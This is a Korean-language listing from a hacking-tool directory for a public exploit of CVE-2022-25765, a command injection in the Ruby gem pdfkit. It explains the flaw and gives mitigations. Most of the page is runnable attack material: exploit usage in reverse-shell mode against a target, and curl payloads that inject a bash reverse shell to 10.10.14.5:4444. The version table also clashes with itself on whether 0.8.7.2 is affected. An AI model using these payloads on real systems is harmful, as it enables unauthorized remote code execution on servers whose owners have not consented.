Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-25765-exploit | Kitploit
도구/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-25765 — pdfkit의 명령 주입

설명

CVE-2022-25765는 pdfkit (Ruby gem) 버전 < 0.8.7.2에 영향을 주는 명령 주입(Command Injection) 취약점입니다. 이 취약점은 인증 없이 원격으로 명령을 실행할 수 있으므로 CVSS 9.8의 치명적(CRITICAL) 심각도를 가집니다.

문제는 pdfkit이 url 매개변수를 샌니타이즈 없이 셸에 직접 전달한다는 점입니다. 이 라이브러리는 내부적으로 wkhtmltopdf를 다음 명령과 유사하게 실행합니다:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

URL에 %20(URL 인코딩된 공백) 뒤에 백틱 ` 또는 $()이 오면, 셸은 해당 내용을 명령으로 해석하여 실행합니다.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


기술 세부 정보

근본 원인

pdfkit의 취약한 코드 (source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

URL은 샌니타이즈 없이 셸 명령에 직접 삽입됩니다. %20(공백)을 포함하면 공백 뒤의 내용이 wkhtmltopdf 인수 컨텍스트를 벗어나며, \`` 또는 $()`를 사용하여 임의의 명령을 실행할 수 있습니다.


익스플로잇

원저자

UNICORDev (@NicPWNs 및 @Dev-Yeoj)

원본 익스플로잇은 다음 위치에 있습니다:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

요구 사항

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

사용법

root@kitploit:~
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

매개변수

수동 페이로드 예시

root@kitploit:~
# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

식별

서버가 취약한지 식별하려면:

  1. 제어된 URL을 전송하고 HTTP 콜백을 관찰합니다.
  2. 생성된 PDF의 메타데이터를 확인합니다: Creator: pdfkit v0.8.6
root@kitploit:~
# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

완화 조치

  • pdfkit을 ≥ 0.8.7.2 버전으로 업데이트합니다.
  • 업데이트가 불가능한 경우, 위험한 문자(\``, $(), %20)를 제거하도록 url` 매개변수를 샌니타이즈합니다.
  • URL 허용 목록을 구현하거나 타사 API를 사용하여 PDF 생성을 수행합니다.

참조

  • NVD — CVE-2022-25765
  • GitHub의 CVE-2022-25765
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (원본)
도구 다운로드
필드값
CVECVE-2022-25765
제품pdfkit (Ruby gem)
영향을 받는 버전0.0.0 – 0.8.7.2
유형Command Injection (CWE-78)
인증필요 없음
CVSS 3.19.8 CRITICAL
패치pdfkit ≥ 0.8.7.2
매개변수설명
-c사용자 정의 명령
-s <IP> <PORT>리버스 셸 모드
-w <URL>취약한 웹사이트 URL (선택 사항)
-p <param>POST 매개변수 (선택 사항, 기본값: url)
-h도움말